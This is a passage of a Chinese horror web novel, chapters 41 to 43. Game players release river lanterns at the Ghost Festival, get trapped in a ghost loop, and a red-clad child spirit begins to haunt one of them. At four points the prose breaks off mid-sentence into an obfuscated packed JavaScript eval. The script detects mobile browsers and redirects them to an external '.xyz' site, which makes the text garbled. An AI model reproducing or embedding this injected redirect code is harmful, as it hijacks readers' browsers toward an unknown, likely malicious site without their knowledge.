她想将自己睡前在院子里看到的那一幕告诉鹤溪,但李从福和王萍夫妻俩就举着灯笼走在她前面,鹤溪的身后也紧跟着他的“父母”,所以她一直都没能找到机会跟鹤溪开口。 似乎是察觉到了梨乐一焦躁的心情,鹤溪默默伸手过来握住梨乐一的手,轻轻地捏了捏以作安抚。 鹤溪的手很凉,带着和这个闷热夏夜截然相反的温度。 梨乐一定了定神,在他掌心里缓慢地写下“棺材”两字。 就这么跟着村民们走了许久,梨乐一耳边一直能听到潺潺水声,她猜测他们现在的位置应该离河边不远,但村民们却始终没有停下脚步。 也不知过了多久,村民们终于停下来,王萍热络地上前招呼玩家们休息一下。 梨乐一看了一眼不远处宽阔平静的河面,走到王萍身边,秉承着不懂就问的原则开口:“娘,夜晚山路不好走,咱们为什么不等明天天亮了再来放河灯?” 王萍眼中闪过一抹不自然的神色,随即解释道:“李家村年年都是这样的,中元节放河灯不就是为了祈福,求祖宗保佑嘛。” “再加上今年村子里收成不好,咱不得求祖宗保佑来年是个丰收年啊。求的东西太多,就要让祖宗感知到你的诚心,来得晚了,……会生气的。” 王萍这话说得一套接一套的,还真像那么回事,只不过梨乐一没听清她最后一句话说的是什么。 “什么会生气?” “哎呀,看看我,光顾着跟你说话都没留意时间,你先休息一会,娘得去准备东西了。” 王萍朝梨乐一摆摆手,不给她再多问些什么的机会,转身往河边走去。 村民们准备的河灯就是用白色的纸折成的小船,小船中间放了一截白色的蜡烛。河灯一共有八盏,王萍一一将其发给玩家们。 借着黯淡的月光,梨乐一看见小船底部写着“翠花”两个字,这应该算是她在这个副本里的名字。 梨乐一拿着小船,疑惑地看着王萍:“娘,你不放河灯吗?” 王萍划燃一根火柴点燃梨乐一手里的河灯,又指了指不远处的火盆:“娘要烧纸钱,你们小辈的放河灯就行了。” 待王萍笑眯眯地走远后,人群最后,黄林泽看着河面,面色煞白地开口:“七月半鬼乱窜,没事别往河边站。” “我小时候就住在河边,每年到农历七月时,我奶奶都会叮嘱我别往河边去。因为七月半鬼门开,鬼魂会在人间四处游荡抓替身,如果常在河边走,一不小心就会被水鬼拖下水当替身的。” 玩家们听了黄林泽的话,脸色都不好看,今晚怕是会出事。 很快,火盆里的火焰窜了起来,火盆旁的村民们见状立刻朝玩家招手:“时辰到了,快过来,先给祖宗磕个头,然后就该去放河灯了。” 虽然村民们并没有具体说是什么时辰到了,但玩家们都心知肚明,现在已经是第二天,也就是农历七月十五日了。 中元节。 梨乐一左看右看,见始终没人站出来,她深吸一口气,做出一副害怕但又被逼无奈的模样,上前一步道: “要不、要不我先去试试吧,毕竟在副本里,NPC让我们做的事情是不可以拒绝的。” 鹤溪跟在梨乐一身旁:“我跟你一起。” 梨乐一和鹤溪走出去几步后,发现身后又跟上来一个人,是沈雪珍。 不过走到火盆旁,她并没有像梨乐一和鹤溪那样跪下来磕头,而是看向她站在火盆旁边的“娘”。 “我不会游泳,现在天这么黑,我怕一不小心掉水里了,娘,你可以帮我放河灯吗?” 沈雪珍的“娘”闻言差点没控制住自己的表情,她狠狠瞪了一眼沈雪珍:“祖宗留下的规矩,哪是随随便便就能改的,别磨磨蹭蹭的,磕完头赶紧去把河灯放了,我们就能回去了。” 在沈雪珍和她“娘”说话期间,梨乐一已经磕完了头站起来。 听到女人的话,她默不作声地朝女人那边看去一眼,女人刚才的那番话在不经意中透露出她此刻焦躁的心情。 看来不光是他们玩家,这些村民似乎也很着急的想要离开这里。 梨乐一捧着小船来到河边,她蹲下身,将小船轻轻放在河面上。 小船摇摇晃晃地立在水中,随后便缓缓地朝着河中央飘去,就像是底下有什么东西在托着它前进似的。 鹤溪的船紧随其后。 很快,两艘小船便变为了两个漂浮在水面上的小光点。 其余玩家见梨乐一和鹤溪放完河灯之后无事发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459016|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,终于大着胆子走上来,在火盆旁磕了头之后,一一将写有自己“名字”的小船也放进河里。 最后一个放河灯的人是黄林泽,因为前七个人放完河灯都没有发生什么异常,所以大家放松了警惕,并没有人留意黄林泽那边的动静。 “啊——” 一声撕心裂肺的惨叫蓦地撕裂寂静的氛围。 梨乐一回头,就看见黄林泽下半身已经入了水,上半身则是趴在岸边拼命挣扎着。 “救我,快救我!!!” 站得离他比较近的两名男玩家于江和千野赶忙上前,像拖一条扑腾的鱼一样把黄林泽从水里拖了出来。 黄林泽瘫坐在地上,心有余悸地看着河面:“有水鬼,有水鬼!是水鬼把我拉下去的,是水鬼把我拉下去的!!!” 水面惊起的涟漪渐渐平息,鹤溪收回视线,语气平淡地道:“你刚才掉进水里的时候,我没看见水里有东西。” “行啦行啦,男子汉大丈夫,胆子怎么这么小,哪有什么水鬼,就是你不小心脚滑了而已。”王萍提着灯笼走过来,“河灯放完了,我们也赶紧回去休息吧。” 她说完,没管梨乐一,也不管还在地上坐着的黄林泽,而是急匆匆地往来时的那条路走去。 虽然她面上不显,但言语举动却表现出了她此刻的急迫,这一举动恰好印证了梨乐一之前的猜测。 对于这场“祈福”,害怕的不止有玩家,还有村民。 村民们纷纷提着灯笼往回走,不再像来时那样将玩家放在队伍的中间,而是自顾自地走在前头。 玩家们不敢留在河边,立刻跟上,黄林泽更是连滚带爬地从地上爬起来:“你们等等我……” 梨乐一落在队伍最后,走出几步后,她忽然似有所感地回头。 河面上,玩家们刚刚放出去的河灯连成了一条歪歪扭扭的线,从岸边一直延伸到河中央。 梨乐一看着河中心的自己放出去的那个小光点,不知道是不是距离太远看不清楚的缘故,她总感觉自己的那个小光点要比其他小光点晃得厉害些。 也许是河中央的风要大些吧。 梨乐一收回视线,专注看着脚下的路。 走了没多久,“哗——” “哗——” 身后突然传来一阵细微的动静,像是水流被破开的声音。 梨乐一以为自己听错了,放慢了脚步准备再细听一番,后背却突然贴上来一个微凉坚实的胸膛。 是鹤溪。 “你有没有听到什么声音?”梨乐一用只有自己和鹤溪能听到的音量问道。 “听到了。” 鹤溪也以同样的音量回答梨乐一,他手扶上梨乐一的后背,微微用力推着她往前走。 “继续走,不要回头。” 41. 红衣 听到鹤溪的话,梨乐一神情变得严肃:“是有什么东西跟上来了吗?” “应该是。”鹤溪的手一直扶在梨乐一背上,推着她往前走,“副本不会让我们做没用的事,你刚才应该也看到我们放进河里的那些河灯了吧。” 梨乐一点头:“嗯。” “你不觉得很诡异吗?你和我最先放河灯,其余人是隔了一两分钟才放的。” “按道理来说,应该是你我的河灯距离近一点,距离其他人放的河灯则是要远一点。” “但是,那些放出去的河灯最后却连成了一条线,一条从岸边,延伸至河中央的线。每盏河灯之间的距离也大差不差,就像是——有人在水底下默默控制着河灯的漂浮速度和方向一样。” 梨乐一眉头微蹙,沉吟片刻后开口:“我觉得,那些河灯有点像一座桥。” “一座将岸边和河中央连接起来的桥。” 鹤溪没说话,默认了梨乐一的说法。 副本不会设置一些毫无意义的事情逼迫玩家去做,他们已经进入副本一天了,但是在村子里却并没有碰见任何灵异事件。 也许,一开始【怨】并不在村子里,而是在河里。 刚才,村民们以放河灯为由头,借玩家们的手将【怨】从河中唤了上来。同样,玩家们的任务也自现在这一刻起才真正开始。 想到这,梨乐一好奇心瞬间就被勾起来了,她忘记了鹤溪一分钟前的叮嘱,想要回头看看被他们从河里唤上来的【怨】到底长什么模样。 脑袋刚转十五度,一只大手从天而降把住她的脑袋,将她的脑袋拧了回去,鹤溪无奈的声音从头顶落下: “看路。” 梨乐一:“……哦。” 老老实实地盯着脚下的路走了几分钟后,梨乐一突然想起件事:“来的路上,我在你手心里写的字你读懂了吗?” 鹤溪诚实地回答:“没有。”他只觉得痒。 “我就知道。” 梨乐一微微偏头,鹤溪立刻意会,俯身将耳朵凑近。 “我想告诉你的是,李从福和王萍晚上是睡在棺材里的。” 鹤溪声音略带诧异:“棺材?” 梨乐一:“嗯。但是我观察过,王萍和李从福身上没什么异常,有影子,脚尖也不是朝后的,看上去不像是死人。” 她想了想又补充道:“不过这个也说不准,或许这个副本的【怨】强大到可以让死人看上去和活人无异。” “也许你的‘父母’晚上也是睡在棺材里的。” 鹤溪:“好,我回去会注意的。” 将重要信息告诉鹤溪之后,梨乐一便低头开始琢磨起来,王萍和李从福为什么会睡在棺材里,这又会和这个副本里的【怨】有什么联系呢? 忽地,她胳膊一紧,鹤溪的声音随之在耳边响起:“小心。” 梨乐一抬头,才发现刚才如果不是鹤溪拉着自己,自己怕是就要撞上前面人的背了。 “怎么不走了?”她看向最前方的徐传海。 徐传海面色凝重:“村民们都不见了。” “我明明看见他们拐到了这条道上,但是我后脚跟着拐过来的时候,他们却消失了。” 梨乐一闻言观察起四周的情况。 这条路和他们来时的路并不相同,据村民们解释,是因为来时的那条路来的时候好走,回的时候不好走,所以回去他们换了另一条好走的路。 此刻他们身处的地方,野草高度直逼她的腰部,再往前走,植被长势更胜,几乎快有一个普通成年男子那么高了,道路也因此变得愈发狭窄。 鹤溪盯着前方那些遮天蔽日的植被看了一会,毅然决然地道:“往回走。” 徐传海冷哼一声,不赞同地看着鹤溪:“你说的轻松,这山里的路七弯八拐的,我们对这里地形不熟悉,倒回去走错了迷路怎么办?” “就算我们运气好,没有碰到【怨】,但万一要是碰到了什么野兽,我们也没命活了。” 千野闻言问道:“那你有什么办法?” 徐传海:“我又不是这个意思,我只是希望大家在做决定的时候还是要深思熟虑过后再说出口。毕竟在副本里存活本就不容易,我可不会就这么随随便便地下结论,把别人的生命当儿戏。” 被吓的站都站不稳的黄林泽闻言附和道:“就是就是,万一回去遇到【怨】了怎么办?” “一会等那些村民发现我们不见了,一定会倒回来找我们的,我们还是不要乱跑,就在这里等着他们来找吧。” 鹤溪不慌不忙地开口:“我沿途都做了标记,不会迷路。” 徐传海面上轻蔑的笑容一僵。 “而且我也没有说让大家非要跟着我走,是走是留,你们自己决定。” 说完,鹤溪看向身旁的梨乐一:“走吗?” 梨乐一看了一圈周围半人高的野草,做出一副害怕到发抖的模样:“走。我听说,草越高越深的地方,蛇就越多,甚至还会有碗口那么粗的蛇,一口一个成年人,我可不敢在这里待。” 千野等四名玩家见鹤溪梨乐一走了,立刻抬脚跟上,黄林泽见大部队都走了,不敢在原地停留,连忙追了上去:“你们等等我!” 徐传海盯着鹤溪的背影,眸光阴沉,但片刻之后,他咬咬牙还是跟了上去,毕竟在副本里,落单更容易被【怨】盯上。 往回走没多远,梨乐一果然在路边一棵树的树干上看见了一道不深不浅的刻痕,她冲鹤溪竖起大拇指,夸赞道:“你好厉害,你是怎么未卜先知,想到沿途做记号的?” 鹤溪看着梨乐一,目光专注深邃:“不算未卜先知,以前副本里有过在山里走丢的经历,所以从那之后,去到陌生的地方都会习惯做些标记。” 梨乐一:“原来如此。” 因为来时耗费了不少体力,再加上晚饭吃的也不多,众人体力逐渐消耗殆尽,到后面连说话的力气都没有了,只举着手机手电筒照明,沉默地走着。 没过多久,他们回到了之前放河灯的那个地方。 河面漆黑寂寥,早已看不见他们之前放出去的那些河灯,一阵风拂过水面,带起潮湿的水汽吹向站在岸边的玩家。 梨乐一被风中夹杂的寒意激得打了一个冷战。 鹤溪侧身将她护在自己身前:“走吧,已经很晚了,我们早点回去休息。” 梨乐一:“好。” 众人根据鹤溪留下的记号,沿着来时的路往回走。十分钟后,熟悉的景象再次浮现在眼前。 他们又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465213|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到了那个放河灯的地方。 “怎么可能!?”千野不敢置信,“我们一路上压根就没有拐弯,怎么可能会绕回来?!” 又是一阵凉风吹过,鹤溪以拳抵唇咳嗽了两声,而后抬眸看向一派平静的河面,脸色是少有的凝重:“鬼打墙。” 他当机立断地道:“往回走,试试看能不能走出去。” 五分钟后,众人再次回到河边。 “怎、怎、怎么会这样?”黄林泽面色惨白地靠在身旁的树上,“早知道,早知道就留在那里等着村民们来找了。” 他双目失神地喃喃道:“不该走的……不该走的……” 徐传海看了眼面无表情站在人群后的鹤溪,冷笑一声,意有所指地道:“如果刚才你们听我的留在原地,也许现在就不会遇上这档子事了。” 黄林泽听了徐传海的话,视线愤然扫向鹤溪:“都怪你!如果我们留在原地,说不定现在已经等到村民们回来找我们了!” 鹤溪神色漠然地扫过徐传海,而后落在黄林泽身上,眼中快速闪过一丝不耐,但片刻后还是开口道:“他们不会回来了。” 黄林泽没听懂鹤溪的意思:“你说什么?” 鹤溪却不想再回答黄林泽,默默移开视线,一旁的千野见状叹了口气,主动站出来解释道:“村民们是故意把我们落下的。” 黄林泽情绪激动地反驳道:“怎么可能?” 千野反问:“怎么不可能?在来的时候,他们将我们放在队伍中间的位置,生怕我们跟丢了,但回去的时候,明明也是一条陌生的道路,他们却放心地把我们丢在最后,头也不回地匆匆赶路?” “怎么会呢?怎么会呢?”千野话已经说的很明白了,但黄林泽还是不愿意相信。 众人没工夫去管黄林泽,纷纷开始想办法离开这里。 梨乐一腿走酸了,蹲在地上暂作休息。 靠近河边的地较为湿|软,还能看见他们之前在河边放河灯时留下的脚印。脚印杂乱,有来的也有离开的,看着看着,梨乐一忽然感觉有哪里不对劲。 梨乐一将手电筒朝那处扫去,就见除了玩家们留下的脚印之外,那地上似乎还多了一串脚印。 那串脚印只有离开的,却没有去的时候的,脚印歪歪扭扭地从岸边延伸到村民带他们离开的那条小路上。 看上去就像是有什么人从河里走出来,然后跟着他们一起回去了似的。而且那脚印很小,脚印的主人年纪约莫不超过十岁。 梨乐一回想起之前离开时听到的河里传来的动静,所以,【怨】不仅出现,还跟着他们离开了? 想到这里,梨乐一心脏重重一跳。 【怨】现在不会已经混入他们之中了吧。 以梨乐一蹲在地上的姿势,正好可以看到全部人的腿。 一,二,三,四……八。 八双腿,对应玩家的八个人,梨乐一大脑因为疲惫迟缓地转动着,八个人八双腿,按道理来说是没错—— 不对!没错什么没错,加上她自己才是八双腿,而她能看到的应该只有七双腿才对吧! 梨乐一又数了一遍,一二三……七八。 还是八双腿。 她后背猛地窜上来一股凉意,多了一个人。 42. 红衣 确定不是自己数错后,梨乐一没有声张,而是不动声色地寻找起来。 她视线一一扫过众人的腿,最后落在一双格外纤细、且没有穿鞋的小腿上,那双腿此刻正紧紧贴着黄林泽的腿站着。 梨乐一咕咚咽了一口唾沫,在越来越快的心跳声中,僵硬地抬眸往上看去。一片红色的衣角从视线内一闪而过,下一秒,那双腿便消失不见了。 她猛地一下站起身。 “怎么了?”鹤溪见状问道。 梨乐一直勾勾地盯着那双腿消失的地方,黄林泽被她盯得浑身上下鸡皮疙瘩直冒,又害怕又不耐烦地道:“你、你、你看我干什么?” 梨乐一指向黄林泽的身后,唰地一下瞪大眼睛,面色惊恐地道:“我刚才,好像看见你身后站着一个人。” “啊——” 黄林泽大吼一声,被吓得连滚带爬地离开自己站着的地方。 众人看向黄林泽靠的那棵树,但并没有看见梨乐一口中说的那个“人”。 徐传海眉头皱起,不赞许地道:“都这个时候了,就不要再乱开别人的玩笑,赶紧想想要怎么离开这里吧。” “咦?” 千野盯着瘫坐在地上没有缓过神来的黄林泽,突然上前,从他的裤子上扯下来一小块红色的布料。 “这是什么?” 布料是纯棉的,还有点湿,看上去像是从某件衣服上撕下来的。 千野举着布料,视线一一扫过玩家们身上穿的衣服,没有人的衣服是这个颜色,包括被吓得瘫在地上起不来的黄林泽。 黄林泽面色煞白地看了一眼千野手里的布料,摇头:“我、我不知道这是什么,这不是我的东西。” 沈雪珍想到什么,开口:“说不定,是黄林泽刚才掉下水的时候粘到他衣服上的。” 梨乐一配合地瑟瑟发抖起来:“会不会……是这个副本里的【怨】盯上黄林泽了,不想让他走,才导致我们大家一直在河边鬼打墙走不出去?” “你胡说!” 黄林泽面色狰狞地瞪着梨乐一:“这就是一块普通的布料而已,什么都不是!”他害怕大家听了梨乐一的话将他丢下,所以拼命否定梨乐一的猜测。 鹤溪将梨乐一拉到自己身后,同时向千野伸出手:“可以把那块布料给我看看吗?” 千野拿着这块布料跟拿着个烫手山芋似的,听到鹤溪的话毫不犹豫地将布料放进他手里。 鹤溪接过布料后细细打量了一番,随后问道:“谁有火?” 众人面面相觑,少倾,坐在地上的黄林泽慢慢举起了手:“我有火。” 然后众人便见他从兜里掏出了一盒火柴,梨乐一眼尖地发现,黄林泽手里的火柴似乎就是之前王萍给他们的河灯点火时用的那盒。 王萍的火柴为什么会在黄林泽那里? 气氛出现片刻的僵硬。 终于,黄林泽顶不住众人形色各异的目光,梗着脖子开口道:“怎么了,我怕黑,想偷盒火柴回去,晚上点着蜡烛睡觉不可以吗?” …… 大家没有说话,鹤溪默默从黄林泽手里接过火柴。 说来也是奇怪,这块红色布料明明还有些湿,但是一碰到火苗就立刻燃了起来。很快,红色布料便在火焰中化为了一团灰烬。 鹤溪将火柴盒丢回黄林泽身上:“走吧,现在再试试看能不能走出去。” 众人没有异议,朝着来时路走去。 徐传海落在队伍的最后,表情不屑语气讥讽:“装神弄鬼。” 从河边离开半个小时后,玩家们没有再回到河边,鬼打墙结束了。这也侧面地印证了,梨乐一刚才的猜测是对的。 “那、那东西应该离开了吧,它没有缠着我们了吧?”黄林泽颤抖着声音问道。 没有人回答他。 因为大家心里清楚,就算【怨】离开了,也只不过是暂时的罢了。 玩家们沿着鹤溪来时做下的标记,一路埋头狂走,更是默契的都没有提要停下来休息的要求,一心只想赶快回去。 终于,在他们翻过山头,远远地看见村子时,听到了来自村民们的呼唤声。 “翠花——” “大壮——” “狗剩——” …… 等到了村口,村民们提着灯笼愣在原地,跟玩家们大眼瞪小眼,似是没有想到他们能自己走回来。 还是王萍率先反应过来,心疼地上前,将梨乐一上下打量一番:“你们可算回来了,你们要是再不回来,你爹他们就准备进山去寻你们了。” 梨乐一对上王萍担忧的目光,无辜地眨了一下眼:“娘,原来你们走回村子才发现我们不见的吗?那可奇了怪了,毕竟,我们老早就把你们跟丢了呢。” 王萍不接她的茬,只拍了拍她的背道:“回来了就好,回来了就好。” 其余村民也反应过来,纷纷走上前对着玩家们嘘寒问暖,梨乐一视线在人群中找了半天,并没有看见王萍口中“准备进山去寻她”的李从福。 “娘,爹他——” “时间不早了,就别站在村口吹冷风了,赶紧跟娘回去睡觉。” 王萍手动给梨乐一闭嘴,拉着她的手往回走。 梨乐一:“……” - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469532|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坎坷波折的夜晚结束,村子里的灯一盏接着一盏地暗下去。 到最后,只剩下一户人家的某扇窗子透出一点黯淡的烛光,在黑漆漆的夜色中尤为显眼。 屋内,黄林泽闭着眼平躺在床上,微微摇曳的烛光让他的心安定下来些许。 他怕黑,但不是从小就怕,而是从进入【怨】的副本之后才开始怕黑的,因为那些恐怖的东西总是喜欢隐藏在黑暗中。 所以每一个在副本里的夜晚,他都会给自己留一点点光源,好让周围不是伸手不见五指的黑暗状态。 今晚在山里暴走几小时,他的心理和生理早在一波接着一波的惊吓之中疲惫不堪,因此他脑袋刚一沾上枕头,困意就止不住地涌了上来。 意识混沌之际,隔着眼皮,他突然感觉到烛光大幅度地摇晃了几下,与此同时—— “叮铃铃。” “叮铃铃。” 挂在窗户上的风铃开始轻轻摇晃起来。 黄林泽猛地一下睁开眼。 烛光摇摇晃晃,又逐渐趋于稳定,风铃声也渐渐弱了下去。 黄林泽没有放松警惕,而是坐起身看向摆在窗边的蜡烛。烛火不会无风自动,风铃也不会自己响,刚才那一出一定是有原因的。 就这么将房间上下每个角落都仔仔细细地扫了一遍后,黄林泽发现窗户不知道在什么时候开了一条缝。 他松了一口气,想着烛火晃动和风铃响起应该都是窗户缝里吹进来的风造成的。他翻身下床,准备去将窗户关好。 刚走几步,烛火毫无预兆地又开始摇晃起来,风铃声也再次响起。 黄林泽伸向窗户的手顿住,烛火就在他手边颤动着。 他走进了之后才发现,窗户玻璃上有一个小小的湿漉漉的手印,手印还在往下淌着水,就像是有人之前站在这里,扒着窗户看他似的。 像是在跟他闹着玩,当烛火摇晃幅度再一次变小时,“呼——” 窗户缝里刮来一阵阴凉的风,将将擦过黄林泽指尖,让烛火又一次摇晃起来。 黄林泽大脑“轰”的一声,瞬间一片空白,窗户玻璃上倒映着他没有血色的脸。 “嘻嘻。” 稚嫩的笑声在窗外响起,丝丝缕缕的寒气顺着窗户缝隙流进房间,又沿着黄林泽的指尖迅速蔓延至他的全身。 窗外的黑暗里,似乎隐藏着什么东西。 黄林泽视线僵硬地往下看去,在对上窗户缝里那只血红色的眼睛的同时,烛火“唰”地一下熄灭,房间内彻底陷入黑暗。 独留窗边的风铃,在黑暗中“叮铃铃,叮铃铃”地响着。 43. 红衣 清晨,梨乐一被窗外照进来的日光唤醒,她眯着眼,懒洋洋地翻了个身背朝窗户,想再睡一会。 结果脸却埋进了一个毛茸茸、软乎乎的东西里。 梨乐一睁开眼,转头,对上了小帅圆溜溜的眼睛。 小帅高冷地冲她“喵”了一声,然后便跳下床头也不回地离开,就像是特意等她醒来,跟她打声招呼再走似的。 还怪有礼貌的。 梨乐一叹了口气,惆怅地盯着泛黄的墙面发呆。 又没死成。 她昨天以为问题出在村民身上,才会在吃饭的时候作死,将王萍李从福一家人给得罪了个遍。 不过就冲她今天早上全须全尾地从床上醒来便可得知,作死的关键不在村民身上,她还是得去弄清楚,昨天晚上那个从河里出来、跟着他们的【怨】的身份到底是什么。 可,如果村民们没有问题,那李从福和王萍晚上睡在棺材里又是怎么回事? 院子里传来走动的脚步声,王萍他们已经起了。 梨乐一穿戴整齐走出房间,正好看见王萍端着刚煮好、热气腾腾的野菜粥往主屋走,梨乐一立刻笑眯眯地迎上去。 “我来吧,我来吧。” 她作势要从王萍手中接过粥,指尖有意无意地划过王萍的手背。 因为常年劳作和日晒的缘故,王萍的手背上细细密密的布满了沟壑,摸的时候像是在摸一块干燥的树皮。 但她的手是有温度的,并不像死人那般僵硬。 王萍是人,同理,李从福应该也是人。 确定了这一点后,梨乐一表情自然地转身,端着粥进了堂屋。 李鹏正巧从他屋里走出来,看见梨乐一进来,李鹏锁好卧室门,大摇大摆地走到饭桌前坐下,然后毫不掩饰自己的目光,直勾勾地盯着梨乐一看。 梨乐一只装作不知。 直到王萍拿着碗筷进来,李鹏才意犹未尽地收回视线。 早上没有馍馍,只有野菜粥。梨乐一以昨天半夜进山消耗太多体力为由,再一次从王萍手里拿走了那碗本该放到李鹏面前的米粥。 吃完早饭,梨乐一出门去和其他玩家汇合。 仍是在前一天的地点,大家都早于约定时间赶到,唯独黄林泽迟迟没有现身,意识到不对劲,众人立刻向黄林泽居住的村民家赶去。 “你们是来找狗剩的?”黄林泽的“娘”客客气气地开门,将众人迎进院子,“狗剩还在睡呢,你们在这里等会,我去叫他。” 村民们在家里都是叫他们的“小名”,所以玩家对于黄林泽被叫狗剩一事见怪不怪。 女人走到西侧房门外喊了两声“狗剩”,没过多久,黄林泽扶着墙,慢慢走出屋子。 看到他的脸色,梨乐一吓了一跳,这说是被吸干了精气也不为过,面色青灰眼窝深陷,才短短一个晚上,黄林泽就跟变了个人似的。 他抬眼看向站在院中的玩家们,眼底全是血丝:“你们……你们先去吧,我有点不舒服,等好一点了再去找你们。” 众人脸上神色各异,但见黄林泽都这样了也不好再说些什么,转身离开。 梨乐一落在最后,看见女人端着一个碗从主屋里走出来:“狗剩,这是专门给你留的粥,先趁热喝了,喝完再睡。” 黄林泽接过碗:“谢谢娘。” 梨乐一若有所思地收回视线,总感觉有哪里不对劲,但是又说不出来。走在前头的鹤溪见她没跟上,停在原地等她,梨乐一敛去思绪,几步追上他。 “走吧。” - 昨天晚上众人回去之后,都没有遭遇什么诡异事件,因此早上他们也没什么要讨论的,简单说了几句,便准备分散开各自去寻找线索。 梨乐一垂着眼一副心事重重的模样,鹤溪见状问道:“你在想什么?” 梨乐一:“我在想黄林泽,我觉得他有点不对劲。” 鹤溪:“你想再去他那里看看?” “嗯。我感觉现在的黄林泽比起副本玩家这一身份,似乎更认定他村民‘狗剩’的身份,就像是被什么东西控制了一样。” “我跟你一起去。” 说定下来之后,二人没有犹豫,立刻便往黄林泽住的地方赶去。 刚拐过路口的弯,梨乐一脚边突然从天而降一块石头,梨乐一猛地缩回脚,好险好险,差点就被砸到了。 她朝石头扔来的方向看去,就看见一道鲜红靓丽的身影立在山坡上,是昨天在井边见过的那个女生。 梨乐一通过昨天在村子里的走访调查,已经知道了女生的名字叫李红,她是李家村村长的女儿,平时在村里横行霸道惯了,没人敢惹她。 此刻,李红穿着鲜红的碎花长裙抱臂站在山坡上,指着梨乐一,对着她身旁看上去十一二岁的小男孩道:“看见了没,就是她,给我使劲砸她!” 男孩很听李红的话,一连捡起好几块碎石头就朝梨乐一砸过来。 梨乐一见状立刻拉着鹤溪躲到路边的树后。 石子有些砸到了树上,有些将将从梨乐一脚边擦过,梨乐一躲在树后,冲山坡上的李红喊道:“李红,我今天好像没招惹你吧,你下来,我们好好聊一聊。” 李红冷哼:“谁要跟你好好聊,我就是看你不爽,就是要砸你!” 她说着又戳了一下身旁男孩的头:“你能不能看清楚再砸,都砸树上了,没有一个砸中的,你再砸不中,说好的那碟咸菜我不给你了!” 男孩也很憋屈:“她躲在树后面不出来,我根本就砸不中她!” 山坡下,梨乐一听到了李红和男孩的争执,她捉住鹤溪的手腕,对他说:“机会来了,他们起内讧了,一会我们看准时机跑出去。” 话音刚落,山坡上忽然传来一声猫叫,紧接着便是男孩的惨叫声。 梨乐一听到声音把脑袋探出树后,就看见山坡上男孩捂着脸蹲在地上惨叫,他旁边则是蹲着一个圆润且雄壮的猫影。 李红震惊地看着不知道从什么地方窜出来的小帅,骂道:“哪里来的死畜生?” 小帅冲李红哈了一口气,又是一个猛扑,李红的裙子上顿时多了三条划痕。 “死畜生!我今天非把你抓了,把你指甲一个一个掰下来,再把你的皮扒了给我补裙子!” 李红表情狰狞,咒骂着就要上手抓小帅,梨乐一在山坡下担忧地看着:“小帅不会有事吧?” 鹤溪趁此机会拉起梨乐一离开这个是非之地,嘴上安慰她道:“放心,不会有事的。” 山坡上,李红连扑了几次都扑空,气得不行,从地上捡起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473888|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一根有她手腕那么粗的树枝就往小帅身上砸去。 小帅身姿矫健,树枝将将擦过它的尾巴,伤不了它一根猫毛。 李红捡起树枝又准备朝小帅丢过去,却见它一个闪身躲到了一个人身后。 来人身形瘦高,皮肤是小麦色,头上戴着草帽肩上扛着扁担,露在外头的手臂线条紧实流畅。 李红眼睛一亮,丢掉树枝:“陆直哥!” 陆直挑着扁担从山下走上来,他的扁担筐里装的满满的都是馍馍,走到李红面前,他将筐子小心翼翼地放在地上,看了看身后的猫,又看向李红。 “怎么了?” 李红气呼呼地扯起自己的裙摆给陆直看:“陆直哥你来的正好,帮我把那只死猫抓住,它划破了我的裙子,我今天非扒了它的皮给我补裙子不可!” 陆直看着坐在自己身旁,优哉游哉地舔起毛的狸花猫,笑道:“你跟一只猫计较什么?它难道还能是故意的不成?” 李红气鼓鼓地道:“陆直哥,你干什么帮着一只猫说话,你认识它?” 陆直:“不认识。” 李红更气了:“那你还帮着它说话!它就是故意的,它还把我裙子——” “那两个是什么人?” 李红的话被打断,她顺着陆直的视线看过去,就看见梨乐一鹤溪二人离去的背影。 陆直用搭在肩膀上的毛巾擦了擦汗,冷峻的眉眼浮现出一丝探究的光:“以前怎么没在村里见过他们?” 李红表情僵硬一瞬,随即磕磕绊绊地解释道:“那些人,是来……是来走亲戚的。” 陆直对李红的话倒是没有多怀疑,黑黝黝的眼睛一眨不眨地盯着梨乐一的背影。 